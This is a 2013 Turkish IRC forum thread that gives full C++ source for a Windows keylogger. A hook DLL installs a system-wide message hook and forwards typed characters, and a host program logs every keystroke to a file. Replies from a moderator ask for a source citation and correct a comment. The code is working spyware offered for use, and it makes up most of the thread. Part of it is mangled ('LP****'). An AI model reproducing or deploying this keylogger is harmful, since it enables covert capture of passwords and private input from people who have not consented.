IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası

IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası (https://www.ircforumlari.net/)
-   C ve C++ (https://www.ircforumlari.net/c-ve-c/)
-   -   C++ Keylogger Yapimi Geniş Anlatim (https://www.ircforumlari.net/c-ve-c/520692-c-keylogger-yapimi-genis-anlatim.html)

CeSaRCripS 16 Ocak 2013 14:03

C++ Keylogger Yapimi Geniş Anlatim
 
MyHookDll.h (bu bizim dll’nin arayüzüdür.Burada SetHook ve UnsetHook fonksiyonları export ediyoruz

Kod:

#define MYHOOKDLL_API __declspec(dllexport)

#include <windows.h>

extern "C"
{
MYHOOKDLL_API int SetHook( HWND,UINT );
MYHOOKDLL_API int UnSetHook();
}

MyHookDll.cpp (Dll’nin kodu)


Kod:

#include "MyHookDll.h"

// global değişkenler
HINSTANCE hInstance = NULL; // The instance of the DLL

// hook fonksiyonun gerçekleştirilmesi
LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM );

#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; // Hookun Handle
UINT KBoardMessage = NULL; // ana pencereye
// göndereceğimiz mesaj
HWND hParentWnd = NULL; // ana pencere
#pragma data_seg( )

//Shared akım yaratması için Linkere RWS atributuyla verilen komut
#pragma comment(linker,"/SECTION:.SData,RWS")

// Normal DllMain
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LP**** lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
hInstance = (HINSTANCE)hModule;

return TRUE;
}

// iki fonksiyon SetHook ve UnsetHook

MYHOOKDLL_API int SetHook (HWND hWnd,UINT UpdateMsg)
{
if (hWnd == NULL) return -1;

// parametreleri kaydet
hParentWnd = hWnd;
KBoardMessage = UpdateMsg;

// hook kur
hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0);

if (hMsgHook == NULL)
return -1;

return 0;
};

MYHOOKDLL_API int UnSetHook()
{
UnhookWindowsHookEx (hMsgHook);

hMsgHook = NULL;

return 0;
};


//Hook callback fonksiyonu

LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam)
{
if (code >= 0)
{
MSG * msg = (MSG * )lParam;

if ((lParam)
&&(msg->message == WM_CHAR)
&&(wParam == PM_REMOVE))

PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 );
}

return CallNextHookEx (hMsgHook, code ,wParam , lParam);
}

Keylogger.cpp (Dllyi kullanarak alınan mesajları bir dosyaya kaydeden Programın kodları)

Kod:

#define WM_HOOKMESSAGE WM_USER+1

// Global değişkenler
HWND hWnd; // ana handle
HINSTANCE hDllInst; // hook Dll

// fonksiyonlar
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();

// Programa giriş
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
WNDCLASS wc;

// class ve pencere tuş basımı hakkında bilgi alıyor.
memset (&wc, 0, sizeof (wc));
wc.lpszClassName = "__MyKeyLogger";
wc.hInstance = hInstance;
wc.lpfnWndProc = LogWndProc;
wc.style = CS_HREDRAW | CS_VREDRAW ;
wc.hbrBackground = (HBRUSH)(COLOR_MENU+1);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);

RegisterClass(&wc);

hWnd = ::CreateWindowEx (0,
"__MyKeyLogger",
"My KeyLogger",
WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME ,
0, 0, 200, 200,
NULL,
NULL,
hInstance,
0);

// Dll dahil ediyoruz
hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll");

if (hDllInst)
{
SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
}

// Hook ayarlıyoruz.
if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE);


while (GetMessage(&msg, NULL, 0, 0))
{
DispatchMessage(&msg);
}

// hooku kaldırıyoruz.
if(UnSetHook)UnSetHook();

if (IsWindow(hWnd ))
DestroyWindow (hWnd );

// Dll çıkarıyoruz
if (hDllInst) FreeLibrary(hDllInst);
// çıkış
return 0;
}


// Pencerenin foksiyonu burada aldığımız mesajı işilyor ve kaydediyoruz
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
FILE * f = fopen("a.log","a");

switch (Message)
{
case WM_CLOSE:
DestroyWindow(hwnd);
break;

case WM_HOOKMESSAGE:
switch(wParam)
{
// bazı semboller için onların adlarını gönderiyoruz.
case 0x08: fprintf(f,"<BkSp>");break;
case 0x1b: fprintf(f,"<Esc>");break;
case 0x0d: fprintf(f,"\n");break;
default:
fprintf(f,"%c",wParam );
}
break;

case WM_DESTROY:
case WM_ENDSESSION:
PostQuitMessage (0);
break;
}

fclose(f);

return DefWindowProc(hwnd,Message,wParam,lParam);
}

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

YazılımMimarı 17 Ocak 2013 12:58

Cevap: C++ Keylogger Yapimi Geniş Anlatim
 
Farklı kaynaklardan paylaştığınız içeriklere kaynak göstermeniz zorunludur. Kaynak gösteriniz.

CeSaRCripS 17 Ocak 2013 17:52

Cevap: C++ Keylogger Yapimi Geniş Anlatim
 
Sayın Modaretör Benim Elime Geçen Bilgileri Kimden Aldıgımı Biliyorum

Bunlar Eskilere Ait Bilgiler Ama Alıntı Yaparım

YazılımMimarı 18 Ocak 2013 12:49

Cevap: C++ Keylogger Yapimi Geniş Anlatim
 
Daha iyi çeviri ;)
HINSTANCE hInstance = NULL; // The instance of the DLL
bu kısmı HINSTANCE sınıfından türetilmiş bir null obje tanımlaması olarak düzelt alıntıladığın kaynakta. Alıntıladığın kısımıda lütfen kodu altına iliştir.


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 16:22.

Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO
Copyright ©2004 - 2025 IRCForumlari.Net Sparhawk